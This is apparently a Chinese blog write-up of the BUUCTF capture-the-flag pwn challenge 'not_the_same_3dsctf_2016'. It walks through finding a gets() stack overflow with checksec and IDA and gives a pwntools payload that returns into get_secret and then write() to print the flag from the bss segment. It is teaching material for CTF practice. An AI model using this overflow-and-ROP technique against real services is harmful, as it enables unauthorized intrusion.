【BUUCTFPWN】not_the_same_3dsctf_2016

首先使用checksec检查一下文件,没有canary,可以使用栈溢出;有NX保护,栈不可执行。
在这里插入图片描述
使用IDA查看反编译代码,从主函数中可以看到调用了gets函数,存在栈溢出的风险。
使用组合键shift + F12打开字符串窗口,发现第一个字符串就是flag.txt
在这里插入图片描述
双击flag.txt跳转到该字符串在文件中的位置,使用组合键ctrl + x查看用到该字符串的函数。

在这里插入图片描述
进入get_secret函数并进行反编译,可以看到该函数源码如下。
在这里插入图片描述

get_secret函数中调用了C语言库函数fopen()和fgets()。
这两个函数的方法如下:

  1. fgets()函数:
    原型:char *fgets(char *str, int n, FILE *stream)
    作用:从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。
  2. fopen()函数:
    原型:FILE *fopen(const char *filename, const char *mode)
    作用:使用给定的模式 mode 打开 filename 所指向的文件。

明显的,我们可以看到该函数从flag.txt函数中读取了一个长为45的字符串存到fl4g的位置,双击fl4g我们跳转到了它在bss段中的位置。
在这里插入图片描述
整理思路:

  1. 首先该题可以使用栈溢出
  2. 其次该题的flag已经在bss段中,已经在内存中,只需要将其打印出来即可

我们需要找到一种方法将flag从内从中打印出来,要找到可以用来打印的puts函数、write函数,重新查看程序的反编译,程序中找到了write函数。
查看write函数的用法,我们发现write由两种用法,仔细查看反编译的write函数发现它有三个参数,确定了是哪一种write函数。
此处给上write和read函数用法的讲解连接的跳转:write函数的详解与read函数的详解
两种不同write函数的跳转(未核实,不一定正确):write函数的详解与read函数的详解
接下来构造payload如下:

from pwn import *

elf = ELF("./not_the_same_3dsctf_2016")
io = remote('xxx',xxx)

getsecret = elf.sym['get_secret']
print(hex(getsecret))
flagaddr = 0x080ECA2D
write = elf.sym['write']

payload = b'a'*(45)         # 覆盖了栈,没有覆盖ebp,原因是不存在ebp,字符串空间的底部就是函数的返回地址。
payload += p32(getsecret)   # 覆盖返回地址,返回到get_secret函数
payload += p32(write)       # 从get_secret函数返回到write函数
payload += p32(flagaddr)    # 这个是write的返回的值,没什么用,随便填
# 32位汇编的参数传递方式,下面有跳转连接参考。
payload += p32(1)           # write函数的第一个参数,是 文件描述符;
payload += p32(flagaddr)    # write函数的第二个参数,是 存放字符串的内存地址;
payload += p32(42)          # write函数的第三个参数,是 打印字符串的长度
io.send(payload)

io.interactive()

技巧总结

问题1:
为什么不需要覆盖ebp了呢?
答:因为不存在ebp了,我们观察main函数的最后,没有pop ebp语句,取而代之的是一个retn指令,该指令作用就是pop rip,即跳转到返回地址,没有了ebp自然不用覆盖ebp了。
在这里插入图片描述
反汇编的call和retn

问题2:为什么参数的顺序是那样的?
这涉及到了参数传递的方式,本题是32位的程序,使用栈来传递参数,压栈顺序是从右到左,64位程序有64位程序的压栈方式,更为复杂,同时函数声明中也规定了压栈方式,write函数中这个字段就是压栈方式,具体内容可以查阅资料。
在这里插入图片描述

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值